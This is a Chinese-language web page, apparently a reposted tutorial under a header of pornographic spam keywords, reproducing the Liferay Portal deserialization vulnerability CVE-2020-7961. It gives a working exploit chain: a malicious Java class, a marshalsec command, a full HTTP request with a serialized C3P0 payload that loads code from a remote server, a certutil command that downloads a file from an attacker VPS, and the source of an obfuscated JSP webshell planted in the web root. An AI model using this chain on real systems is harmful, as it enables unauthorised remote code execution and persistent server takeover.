日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

CVE-2020-7961_Liferay Portal反序列化過程復現。

漏洞說明

Liferay是一個開源的Portal產品,提供對多個獨立系統的內容集成,為企業信息、流程等的整合提供了一套完整的解決方案,和其他商業產品相比,Liferay有著很多優良的特性,而且免費,在全球都有較多用戶。該漏洞是個反序列化導致的RCE,通過未授權訪問其api傳遞json數據進行反序列化,危害較高

影響范圍

Liferay Portal 6.1、6.2、7.0、7.1、7.2

環境搭建

漏洞環境:

windows 10

jre1.8.0_221

jdk1.8.0_221

Tomcat集成包:本實驗 用的liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761.tar.gz

啟動環境

E:tmpliferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761liferay-portal-7.2.0-ga1tomcat-9.0.17bin> .catalina.bat run

訪問 http://localhost:8080/ 全部默認配置就可以

黑客演示CVE-2020-7961_Liferay Portal反序列化漏洞

 

漏洞利用

思路:構造惡意class文件->構造序列化->反序列化->加載VPS上面惡意evil.class文件->實現下載webshell

構造惡意class文件

在VPS上面創建 LifExp.JAVA(該寫法為目標是Windows,運行計算器)->編譯class文件

public class LifExp {

static {

try {

String[] cmd = {"cmd.exe", "/c", "calc.exe"};//命令執行

java.lang.Runtime.getRuntime().

exec(cmd).waitFor();

} catch ( Exception e ) {

e.printStackTrace();

}

}

}

使用 javac .LifExp.java 生成class文件

在當前目錄使用 Python -m SimpleHTTPServer 8000 監聽8000端口啟動一個wbe服務

構造序列化

使用 marshalsec-0.0.3-SNAPSHOT-all.jar 文件進行序列化:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrApperConnPool http://你的IP:你的端口/ LifExp

黑客演示CVE-2020-7961_Liferay Portal反序列化漏洞

 

構造HTTP數據包

把 defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource= 后面的值替換為上面選中部分

POST /api/jsonws/invoke HTTP/1.1

Host: 192.168.207.133:8080

Content-Length: 1365

Content-Type: application/x-www-form-urlencoded

Connection: close

cmd={"/expandocolumn/add-column":{}}&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740019687474703a2f2f35392e3131302e3135372e343a383030302f740003466f6f;"}

發包,不出意外會返回500

黑客演示CVE-2020-7961_Liferay Portal反序列化漏洞

 

但是計算器是彈出來了;

別看他只是一個小小的計算器,但是他的威力是無窮的,因為你可以彈一萬個計算器執行其他命令來對靶機進行攻擊,比如下載一個webshell

出網下載webshell

這個得免殺JSPshell,之前用一個一句話,除了whoami都不能來事兒。

VPS上面構造一個txt:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%@ page import="sun.misc.BASE64Decoder" %>

<%

if(request.getParameter("cmd")!=null){

BASE64Decoder decoder = new BASE64Decoder();

Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));

Process e = (Process)

rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new

String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new

Object[]{}), request.getParameter("cmd") );

java.io.InputStream in = e.getInputStream();

int a = -1;

byte[] b = new byte[2048];

out.print("<pre>");

while((a=in.read(b))!=-1){

out.println(new String(b));

}

out.print("</pre>");

}

%>

替換編譯下面的java:

public class LifExp {

static {

try {

String[] cmd = {"cmd.exe", "/c", "certutil.exe -urlcache -split -f", "http://IP:端口/jspshell.txt", "..\webapps\ROOT\jspshell.jsp"};

java.lang.Runtime.getRuntime().

exec(cmd).waitFor();

} catch ( Exception e ) {

e.printStackTrace();

}

}

}

第四行,Windows下使用certutil.exe可以實現文件下載,curl功能。

因為當前靶機執行命令的路徑是 tomcatbin 所以我們下載webshell的時候,一定要下載到index.jsp相同路徑便于我們訪問,也就是 tomcat-9.0.17webappsROOT 。

執行了命令之后,我們在這個文件夾下面已經可以看到我們的shell了:

黑客演示CVE-2020-7961_Liferay Portal反序列化漏洞

 

而這個時候我們已經可以正常訪問shell了:

黑客演示CVE-2020-7961_Liferay Portal反序列化漏洞

 

因為用的免殺shell用法?cmd=cmd /c 命令,所以需要進行url編碼才可用。

分享到:
標簽:漏洞 序列化
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定